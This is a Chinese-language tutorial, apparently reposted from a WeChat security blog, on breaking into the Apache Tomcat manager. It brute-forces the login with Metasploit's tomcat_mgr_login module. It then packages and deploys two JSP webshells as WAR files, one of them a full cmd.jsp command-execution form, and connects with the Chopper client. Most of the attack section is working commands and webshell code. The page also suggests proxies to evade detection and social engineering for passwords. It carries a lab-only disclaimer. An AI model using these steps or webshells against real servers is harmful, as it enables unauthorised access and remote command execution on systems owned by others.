专栏首页小白帽学习之路利用Metasploit破解Tomcat登录密码并通过war包部署Getshell

利用Metasploit破解Tomcat登录密码并通过war包部署Getshell

Apache Tomcat 是世界上使用最广泛的Java Web应用服务器之一,绝大数人都会使用Tomcat的默认配置。然而默认配置中会有一个向外网开放的Web应用管理器,管理员可以利用它在服务器中启动、停止、添加和删除应用。

在这个教程中,我们要执行下面几个步骤: 1、搭建实验环境 2、Msf环境准备 3、实战演练 4、原理剖析 5、Getshell

搭建实验环境

本次用例基于 XAMPP软件,一键部署,简单方便。 但在此期间有几个问题应当注意:

1、前提你要配置java环境以及JDK,具体操作可以使用搜索引擎来解决。

2、然后自行安装Xampp软件,官网:

https://www.apachefriends.org/index.html

3、此时,假设你已经成功安装Xampp,这时打开Tomcat,然后看到下面这个现象,说明你已经成功启动:

4、接下来打开浏览器,输入127.0.0.1:8080,会进入Apache界面(注意:有时会出现端口冲突情况,这个百度一下操作,自己改一下就好了),如下图:

5、然后点击Manager APP 进入Tomcat Web应用程序管理界面,

其默认路径在 /manager/html。但在进入之前,我们需要账号密码。

初次使用,我们需要先配置一个账号密码,在Tomcat目录下的 /xampp/tomcat/conf/tomcat-users.xml 文件中来配置,使用记事本打开即可,具体看图:

注意:在这个地方,我们添加这一行即可,仅是为了测试使用。值得注意的是,在标红的roles规则设置,这个需要设置正确,不然会无法进入管理界面并且报错为403。现在我尝试将规则设置为了其他权限,因此进入不了管理界面,从图中我们发现,如果想进入该界面则需要其中的权限规则,因此我们只需要将roles设置为报错的权限规则,即可进入,如下图标红所示:

实验环境基本配置完成了,现在我们是知道账号密码的。假设我们不知道账号密码,即可进入下面操作来破解账号密码,具体war部署,以及Getshell放在下面进行操作,此步骤仅是为了搭建实验环境。

Msf环境准备

如果你是第一次运行msf,你需要先启动数据库服务并初始化(msf使用的是PostgreSQL数据库来存储日志和结果)

启动PostgreSQL:

service postgresql start

创建并初始化数据库:(kali 默认已经初始化数据库)

msfdb init

然后就可以启动msf了:

msfconsole

实战演练

在此之前,我想先说一下,我们在暴力破解账号密码时同样可以使用hydra和burp,不同攻击都有不同方法,这次我们仅仅谈论Metasploit下的相关模块,来进行针对性破解。

1、靶机xxx有一个Tomcat服务,为8080端口,浏览器访问: http://192.168.206.1:8080/manager/html

或者

http://127.0.0.1:8080/manager/html

2、可以看到弹出了一个认证界面,要求输入账号密码,抛开实验环境来谈,我们并不知道目标账号密码,那么现在我们可以使用利器metasploit来破解账号密码。

3、打开终端,输入msfconsole启动metasploit:

4、待启动后,我们需要加载Tomcat爆破模块,输入以下命令:

use auxiliary/scanner/http/tomcat_mgr_login

5、我们可以使用以下命令,查看该模块具体需要哪些参数:

show options

6、现在可以设置目标IP了,输入以下内容:

set RHOSTS 目标IP地址

注意:在我们此次实验环境中,我的Xampp是在windows下安装的,因此这时设置的不是127.0.0.1这个地址,而是在win下的cmd中输入ipconfig下显示出来ip地址。在前面实验环境搭建情况下,同样可以使用这个IP打开网页。在此实验环境下我的IP地址为192.168.206.1,其中一些设置看后面那张图。

7、为了使运行速度快一点(也不能太快),可以使用以下命令设置线程:

set THREADS 5

8、为了不使我们的服务器因为大量的请求而崩溃,破解速度我们设置低一些:

set BRUTEFORCE_SPEED 3

9、查看修改后的选项:

show options

10、其余的参数使用默认值,设置完成后,输入run来启动攻击

11、经过一些失败的结果,终于发现了有效的密码(绿色的结果),因为我默认设置的为admin:admin,这个弱密码第一个就是,哈哈哈,但是实际情况中呢,不一定什么时候成功,多半要参与一些社工技巧,这个就自由发挥吧。

12、手动输入密码进行验证,登录成功!接下来,该尝试War包部署,并且Getshell了,继续往下看吧。

原理剖析

默认情况下,Tomcat服务会开启在8080端口,管理界面目录在 /manager/html,该应用使用的是基础的HTTP认证。

下面对刚刚使用的Tomcat_mgr_login模块进行详解:

**BALNK_PASSWORDS**:为每个账号提供一个空密码测试
**PASSWORD**:设置这个可以只针对该密码进行多用户测试
**PASS_FILE**:输入你想要使用的密码字典路径
**Proxies**:为了避免被检测到源地址,可以使用代理功能
**RHOSTS**:填写要被测试的主机地址(可以是多个,以空格分隔。也可以是一个清单文件)
**RPORT**:设置目标Tomcat运行的端口
**STOP_ON_SUCCESS**:当破解成功后停止攻击
**TARGERURI**:可设置管理界面的目录路径
**USERNAME**:设置要测试的用户名字(可以是单个,也可以是一个字典)
**USER_PASS_FILE**:使用 "用户名/密码" 格式的字典文件
**USER_AS_PASS**:尝试使用测试中的用户名作为密码

GetShell

一旦我们成功将进入Tomcat管理界面,就能看到并操作安装在上面的应用。此外我们还可以上传自己的应用,既然这样我们就构造一个能在目标服务器执行命令的WebShell来获取目标服务器权限。

已经成功进入 Tomcat web应用程序管理界面了,下面让我们开始部署War包,来Getshell吧。

1、首先创建一个名为index.jsp的文件,并写入以下内容:

<%@ page import="java.util.*,java.io.*"%>
<%
//
// JSP_KIT
//
// cmd.jsp = Command Execution (unix)
//
// by: Unknown
// modified: 27/06/2003
//
%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); 
                disr = dis.readLine(); 
                }
        }
%>
</pre>
</BODY></HTML>

2、写入完成,开始将该文件压缩为zip文件,名字随便起,我用的是test.zip,然后我们要将,.zip后缀名改为.war,具体如下图:

3、此时,我们war也配置完成啦,进一步就是把它上传到服务器上了,通过上面看到的Tomcat web应用程序管理里面下的 WAR file to deploy,这时,操作比较简单:

选择文件-->上传文件-->显示OK-->上传成功

具体如下图:

4、下面,我们选择刚才更改后缀名为war的那个文件,点击部署,如图:

5、此时,状态码显示为OK,即为部署成功,如图:

6、这个时候,我们需要访问这个文件,以我的示例来说,我要访问的路径为127.0.0.1:8080/test/index.jsp,这个相对路径,即使你部署war的路径,index.jsp是我最开始编写代码的文件,这是都可以根据你自己来更改,自己知道就好啦,最后显示如下图:

7、在执行ipconfig命令时,会出现乱码,我使用的是火狐浏览器,只需将编码设置为简体中文即可,如图:

网上有很多JSP木马,包括一起功能齐全的大马,自己可以去找一下,来过过瘾,下面是通过菜刀连接一句话木马。

菜刀连接一句话木马

1、同上,编写一个jsp脚本,这次名为test2.jsp,内容写入:

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

2、同样是压缩为zip文件,并且后缀改为.war,不多赘述,直接上传,这次我上传后的路径为: 127.0.0.1:8080/test2/test2.jsp

3、使用菜刀连接,密码为i,成功连接,如图:

大功告成! 本次实验仅是仅供实验, 切勿用于实战!

本文分享自微信公众号 - 小白帽学习之路(bat7089),作者:7089bAt

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-04-10

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • Kali Linux Web渗透测试手册(第二版) - 8.7 - 使用JoomScan扫描Joomla中的漏洞

    另一个很受欢迎的CMS是Joomala,和WordPress一样,Joomla也是基于PHP的,它的目的是为了帮助没有技术的用户创建网站,尽管它可能并没有Wor...

    7089bAt@PowerLi
  • 精华 | SQL注入万能Bypass技巧

    很多同学问注入bypass的一些细节,刚好前几天晚上做了一个梦,梦里进行了一些测试,今天觉得应该记录一下。

    7089bAt@PowerLi
  • 靶机闯关 DC-8

    使用netdiscover二层扫描工具获取靶机IP为192.168.111.137后

    7089bAt@PowerLi
  • 谷歌开源的 GAN 库--TFGAN

    本文大约 8000 字,阅读大约需要 12 分钟 第一次翻译,限于英语水平,可能不少地方翻译不准确,请见谅!

    材ccc
  • vue-router基本概念及使用

    大当家
  • 【一个深度学习模型解决所有问题】谷歌MultiModel通吃文本、图像、翻译

    【新智元导读】我们能够制作出一个统一的深度学习模型,让这个模型解决多个领域的许多不同问题吗?谷歌研究人员提出了一个多模式适用的架构 MultiModel,用单一...

    新智元
  • 使用 Azure DevTest Lab 搭建云端开发测试环境

    程序员和测试工程师经常需要自己搭环境用于开发和测试目的,这些机器可能只会使用很短一段时间。通常我们会在本机使用 Hyper-V、VMWare 之类的虚拟机产品,...

    Edi Wang
  • 添加php的memcached扩展模块

    memcached服务直接用yum安装 [root@localhost ~]# yum install memcached 然后启动memcache服务,启动多...

    洗尽了浮华
  • Grafana安装与启动

    如果要使用 homebrew 服务启动 Grafana,首先要确保安装了 homebrew/services:

    smartsi
  • centos7下安装Python的pip

    root用户使用yum install -y python-pip 时会报如下错误:

    py3study

扫码关注云+社区

领取腾讯云代金券